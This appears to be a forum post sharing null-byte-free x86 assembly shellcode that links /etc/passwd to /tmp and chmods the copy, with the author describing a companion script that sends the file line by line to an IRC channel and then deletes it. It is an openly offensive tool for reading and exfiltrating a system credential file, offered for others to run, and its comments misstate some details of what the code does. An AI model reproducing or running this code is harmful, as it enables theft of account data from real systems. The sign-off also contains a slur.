_start:
; we gotta set the value of all of our required registers to 0 by xor'ing them
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

; we have to inc eax 9 times as to not bring up nullbytes

inc eax
inc eax
inc eax

inc eax
inc eax
inc eax

inc eax
inc eax
inc eax

; eax is incremented 9 times, value of eax is now 9

mov ebx, oldfile
mov ecx, newfile
int 0x80

; since eax is still 9 we don't need to xor it, we can just increment it or decrement it if we need to
; we do however have to xor the ebx and ecx registers since we used them in the previous instructions

xor ebx, ebx
xor ecx, ecx

; but since we are going to call write() in the next bit, it's more efficient just to xor eax and then increment instead of
; decrementing a bunch of times

xor eax, eax

; now we're going to write the files that we targetted
; we need to use write() for this, and it's syscall 4 so we need to increment eax 4 times

inc eax
inc eax

inc eax
inc eax

; eax has been incremented 4 times, now we have to assign what file descriptor we want to write to
; in this case, we want to write to stdout, and that is assigned on 1, so we have to increment ebx only once

inc ebx

; ebx has been incremented to one and is now assigned to stdout
; now we have to supply arguments to ecx to print our data

mov ecx, oldfilestr

; finally, edx requires the length of this data

; we could use "mov edx, oldfilestrlen" but that would cause nullbytes to be present in the binary, we don't want that

inc edx
inc edx
inc edx
inc edx

inc edx
inc edx
inc edx
inc edx

inc edx
inc edx
inc edx
inc edx

; this source will now print the data correctly

int 0x80

; now we need to chmod the newfile so that the python script can upload it online

xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx

; sys_chmod is syscall 15, so we need to increment eax 15 times

inc eax
inc eax
inc eax
inc eax
inc eax

inc eax
inc eax
inc eax
inc eax
inc eax

inc eax
inc eax
inc eax
inc eax
inc eax

; eax has been incremented 15 times, value of eax is now 15

mov ebx, newfile
mov cx, 0755o ; here we're using a 16 bit register since we just have to supply an integer, and this also solves the issue of nullbytes
; since supplying "0755" to a 32 bit register would supply 0x00000755, we don't want that

so, I haven't touched assembly in fucking ages, so I thought I'd make a little something
so execute.sh compiles the intel x86 assembly source
the assembly source links /etc/passwd to /tmp/_passwd, then chmods /etc/_passwd and gives it global read/write permissions
then exits, then the bash script checks for any nullbytes in the objdump -d output, just in case I feel like deploying the main binary as shellcode
then it executes filefucker, removes the compiled object file, and the executable binary itself
then my python script is executed, which connects to an irc channel, splits /tmp/_passwd line by line, and sends it into an irc channel
then once it's all sent, it removes the duplicate file
I made something like this before, but this is more or less a fleshed out version cause I haven't touched assembly in ages
this is faggot signing out
I'm gay

I should also add that execute.sh is the main script.
literally just run that file and everything else will execute along with it.
I hope this helps some of you learn some stuff lol.